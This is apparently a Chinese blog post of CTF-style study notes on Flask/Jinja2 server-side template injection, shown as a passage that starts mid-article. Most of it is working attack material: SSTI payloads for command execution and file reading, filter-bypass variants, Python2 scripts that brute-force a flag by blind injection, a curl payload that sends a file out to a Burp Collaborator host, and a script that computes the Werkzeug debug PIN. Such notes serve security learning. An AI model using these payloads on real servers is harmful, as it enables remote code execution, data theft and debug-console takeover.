stdout:通过测试如果为-1,会执行并且退出;如果用别的数字,执行后并不会退出
4、遇到过滤后的绕过
过滤了“{{”和“}}”
使用{%%}进行替换:{%print xxx%}其中xxx为我们在{{xxx}}中构造的Payload
回显存在限制时
盲注
Payload:{% if ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('flag').read()[0:1]=='f'}123{% endif %} //通过截断依次判断文件中的字符,如果正确有回显,错误则没有回显
使用Brup可以一一爆破,但是如果使用脚本会存在url编码把"{"和"}"编码了,然后发过去后就500了,这个暂时还没想到解决方法
下述的Python2的脚本在Kali(Python2.7.18)中能够成功转码,但是我在本机(Python2.7.17)测试还是不行
url编码的转换来自:https://www.jianshu.com/p/e0d613d9ac4c
Python2盲注脚本GET打开文件
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
class NoQuoteSession(requests.Session):
def send(self, prep, **send_kwargs):
table = {
urllib.quote('{'): '{',
urllib.quote('}'): '}',
urllib.quote(':'): ':',
urllib.quote(','): ',',
urllib.quote('<'): '<',
urllib.quote('>'): '>',
urllib.quote('%'): '%',
}
for old, new in table.items():
prep.url = prep.url.replace(old, new)
return super(NoQuoteSession, self).send(prep, **send_kwargs)
url = 'http://192.168.1.108:5000?key='
s = NoQuoteSession()
flag =''
for i in range(1,15):
for j in range(32,127):
atao = flag + chr(j)
payload = "{%if%20%27%27.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__[%27__builtins__%27][%27open%27](%27flag.txt%27).read()[0:"+str(i)+"]==%27"+atao+"%27%}123{%%20endif%20%}"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
res = s.get(url+payload,headers=headers)
if "123" in res.text:
#print chr(j)
flag = flag + chr(j)
break
print flag
Python2盲注脚本GET命令执行
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
class NoQuoteSession(requests.Session):
def send(self, prep, **send_kwargs):
table = {
urllib.quote('{'): '{',
urllib.quote('}'): '}',
urllib.quote(':'): ':',
urllib.quote(','): ',',
urllib.quote('<'): '<',
urllib.quote('>'): '>',
urllib.quote('%'): '%',
}
for old, new in table.items():
prep.url = prep.url.replace(old, new)
return super(NoQuoteSession, self).send(prep, **send_kwargs)
url = 'http://127.0.0.1:5000?key='
s = NoQuoteSession()
dic ='qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM-{}'
flag =''
for i in range(1,15):
for j in dic:
atao = flag + j
payload ="{{ ().__class__.__mro__[1]['__subclasses__']()[80].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).system(%22cat flag | grep ^"+atao+"%22)') }}"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
res = s.get(url+payload,headers=headers)
if "0" in res.text:
#print chr(j)
flag = flag + j
break
print flag
curl带回数据(参考Firebasky师傅的,有vps更轻松)
Payload:{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("curl -X POST -F xx=@flag http://xlmyrrmshbavuotyjj7ch674gvmlaa.burpcollaborator.net").read()}}
绕过中括号[]获取类
使用__getitem__绕过中括号限制
Payload: ''.__class__.__mro__.__getitem__(2)
过滤引号或者下划线
使用request对象
原Paylaod
{{().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('py3.py').read()}}
更改后的Payload
{ ().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__[request.args.aaa]['open'](request.args.xxx).read() }}&aaa=__builtins__&xxx=flag
当"."和"_"被过滤
点被过滤后可以使用中括号拼接,Payload:()['__class__'],但是下划线也被过滤了,则可以使用"\x5F"绕过,Payload:()['\x5F\x5Fclass\x5F\x5F']
5、Flask的Debug计算PIN码
菜鸡分析不动,大佬的分析过程:https://www.cnblogs.com/HacTF/p/8160076.html
PIN码的值是由【计算机当前用户名】、【flask.php】、【Flask】、【flask库的app.py绝对路径】、【当前网络的mac地址的十进制】、【机器的ID】组合获得的。
werkzurg的PIN码计算相同。
各个参数的获取
(1)计算机当前用户:Linux中通过/etc/passwd获取
(2)flask.php:modname一般不会改变
(3)Flask:通过getattr(app, "__name__", app.__class__.__name__)获得,一般为Flask,不改变
(4)flask库的app.py绝对路径:报错后在Debug页面可以看到
(5)当前网络的mac地址的十进制:Linux中通过/sys/class/net/eth0/address获取
(6)机器的ID:Linux中通过/etc/machine-id或者/proc/sys/kernel/random/boot_i获取;docker机通过/proc/self/cgroup获取;win通过注册表的SOFTWARE\Microsoft\Cryptography的值获取
计算PIN的脚本
#脚本出处:https://xz.aliyun.com/t/2553
#by kingkk
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]
private_bits = [
'2485410445436',# address
'a897e67c4e8cafbc09be9836d1b8744d9ad99bc6bb09d008a16a5a5faaa8e329'# machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
6、Poc
命令执行:{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls").read()') }} {% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
打开文件:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% print c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() %}{% endif %}{% endfor %}
补充
最近比赛时存在了一些过滤的绕过进行补充,还有一些自己对于flask理解有误的地方进行补充
过滤[]
查看我们经常使用的Payload,如:{{""._class_._mro__[1].__subclasses__()[132].__init_.__globals__['popen']("ls").read()}},这里有两个位置用了中括号,查看对应函数subclasses和globals得知返回的值都是字典,这里对于获得字典的键值内容,可以使用get或者pop方法(pop方法存在一些限制)
atao = {
'aaa':'bbb',
'ccc':'ddd'
}
print atao.get('aaa')
返回bbb,字典内容不变,get方法返回具有指定键的项目值
print atao.pop('aaa')
返回bbb,字典内容产生变化,'aaa':'bbb'这个键值对将被删除,这是由于pop方法的原因,pop方法是删除字典中给定的键值key和对应的值,并返回被删除的值
这里如果可以使用get方法就尽量使用get方法
对于__subclasses__()可以使用get或者pop方法
对于__globals__仅可以使用get方法,使用pop方法将会删除其中的函数,不能使用
修改后的Payload:{{("".__class__.__mro__[1].__subclasses__().get('132').__init__.__globals__.get('popen'))("ls").read()}}
或
{{("".__class__.__mro__[1].__subclasses__().pop('132').__init__.__globals__.get('popen'))("ls").read()}}
过滤__下划线和[]中括号
通过attr这个过滤器进行操作,记得应该算过滤器说错的话别打我
{{"".__class__}}
{{""|attr(request.args.aaa)}}
7、查阅博客
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/
https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/#%E9%81%8D%E5%8E%86%E6%89%BE%E5%88%B0%E5%85%B6%E4%BB%96%E7%9A%84%E9%80%83%E9%80%B8%E6%96%B9%E6%B3%95
https://www.freebuf.com/column/187845.html
https://zhuanlan.zhihu.com/p/56251926
https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/
https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#0X04-SSTI-%E6%80%8E%E4%B9%88%E4%BA%A7%E7%94%9F%E7%9A%84
https://p0sec.net/index.php/archives/120/
https://0day.work/jinja2-template-injection-filter-bypasses/
本文作者:erR0Ratao
本文链接:https://www.cnblogs.com/erR0Ratao/p/13873278.html
SSTI Flask的更多相关文章
- 1. SSTI(模板注入)漏洞(入门篇)
好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...
- python-flask-ssti(模版注入漏洞)
SSTI(Server-Side Template Injection) 服务端模板注入 ,就是服务器模板中拼接了恶意用户输入导致各种漏洞.通过模板,Web应用可以把输入转换成特定的HTML文件或者e ...
- flask ssti python2和python3 注入总结和区别
总结一下flask ssti的注入语句 代码 import uuid from flask import Flask, request, make_response, session,render_t ...
- Flask SSTI | Python3 学习记录
Flask SSTI | Python3 引言 昨天原本是打算继续python的每日一练的,这次按日程一样是要练习用一个web框架写一个留言板的,于是打算用flask搞一下,但是正打算写的时候,突然想 ...
- 初探 Python Flask+Jinja2 SSTI
初探 Python Flask+Jinja2 SSTI 文章首发安全客:https://www.anquanke.com/post/id/226900 SSTI简介 SSTI主要是因为某些语言的框架中 ...
- Flask SSTI利用方式的探索
Flask SSTI利用方式的探索 一.SSTI简介&环境搭建 一个统一风格的站点,其大多数页面样式都是一致的,只是每个页面显示的内容各不相同.要是所有的逻辑都放在前端进行,无疑会影响响应 ...
- flask 基础ssti注入
源代码地址 (请用python2.7运行,python3有点出入) 注入点: 不是返回的静态模板而是反回模板字符串变得让客户端可以控制. XSS 这里直接 http://39.105.116.195: ...
- Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...
- flask利用session身份伪造
想研究很久了,这次终于初步了解了flask session伪造(得知道密钥). python2和python3 session解密不一样,而且不都是base64,脚本https://github.co ...
随机推荐
- linux修改环境变量后无法登录
在登陆界面按Ctrl+Alt+F1(F1~F6), 进入 tty 后登陆账号. 执行以下命令: /usr/bin/sudo /usr/bin/vi /etc/environment 将PATH的值复原 ...
- CTCall简介(后续会继续补充)
使用CTCall需要导入CoreTelephony.framework框架. CTCall的基本使用 (1)初始化call CFStringRef number = CFSTR("15555 ...
- 创建Sqlite数据库(一)
对这方面的掌握不牢,慢慢深入吧,先执行一个sqlite语句,只会简单的.输出"创建"证明创建成功 public class MainActivity extends AppComp ...
- javascript模块化(简)
这里书写一个个人理解以及整理的东西,关于模块化以及ES6语法推荐大家阅读阮一峰老师的ES6入门教程 地址:https://es6.ruanyifeng.com/ 比较散,请见谅 以前的js是没有模块化 ...
- 每日10句:day1
1,plt.style.use('ggplot') #使用R语言的图像配色方案 2,for a,b in zip(x,y): plt.text(a,b+1,'%.0f'%b,ha='center',v ...
- 2020 10月CUMTCTF wp
华为杯 × 签到杯√ 论比赛过程来说没什么很大收获 但看师傅们的wp感触很多 赛后复现慢慢学吧 Web babyflask flask ssti模板注入: payload{{key}}发现[]以及类似 ...
- ElasticSearch初步了解和安装(windows上安装)
ElasticSearch是什么 ElasticSearch(一般简称es)是一个基于Lucene的分布式搜索和数据分析引擎.它提供了REST api 的操作接口.它可以快速的存储.搜索.分析海量数据 ...
- SpringCloud之Gateway
一.为什么选择SpringCloud Gateway而不是Zuul? Gateway和Zuul的职责一样,都承担着请求分发,类似Nginx分发到后端服务器. 1.SpingCloud Gateway ...
- Git撤销文件修改
在旧版本中,git的撤销工作区的文件修改是用git checkout -- <file>命令,由于容易漏了--导致和切换分支混肴,所以新版本中: - 使用git restore (--wo ...
- dedecms织梦手机端文章内容页图片不能自适应解决方法
dedecms织梦手机端文章内容页图片不能自适应解决方法: 方法一修改手机端文章页模板代码: 找到并打开手机端的文章内容页模板,将里面的{dede:field.body/}标签修改一下,改为如下的标签 ...